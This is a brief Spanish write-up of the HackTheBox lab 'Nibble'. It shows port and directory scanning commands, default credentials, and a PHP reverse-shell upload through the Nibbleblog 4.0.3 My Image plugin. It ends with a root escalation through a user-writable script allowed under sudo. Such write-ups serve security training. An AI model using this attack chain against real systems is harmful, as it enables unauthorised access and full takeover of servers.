HackTheBox Easy Linux Nibbleblog File Upload Sudo

Nibble

Nibbleblog 4.0.3 con credenciales por defecto; file upload RCE via plugin; escalada con sudo sobre script propio.

cat4clysm
Herramientas utilizadas
nmap wfuzz netcat

Scanning

root@kali:~$
nmap -sC -sV -Pn -n -p22,80 10.10.10.75 -oN targeted
nmap scan

Enumeracion Web - Nibbleblog

root@kali:~$
whatweb 10.10.10.75
whatweb
root@kali:~$
wfuzz -c --hc 403,404 -t 100 -w /usr/share/dirb/wordlists/common.txt http://10.10.10.75/nibbleblog/FUZZ
wfuzz dirs found

Explotacion - Nibbleblog File Upload RCE

Credenciales: admin/nibbles (adivinadas, Hydra se banea).

Activamos el plugin My Image en /admin.php?controller=plugins&action=install&plugin=my_image

Subimos una PHP reverse shell. Accedemos a:

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
cat /home/nibbler/user.txt

Escalada de Privilegios - Sudo

sudo -l
root@kali:~$
mkdir personal/stuff -p
cd personal/stuff
echo "sh" >> monitor.sh
chmod +x monitor.sh
sudo ./monitor.sh
cat /root/root.txt

Lecciones aprendidas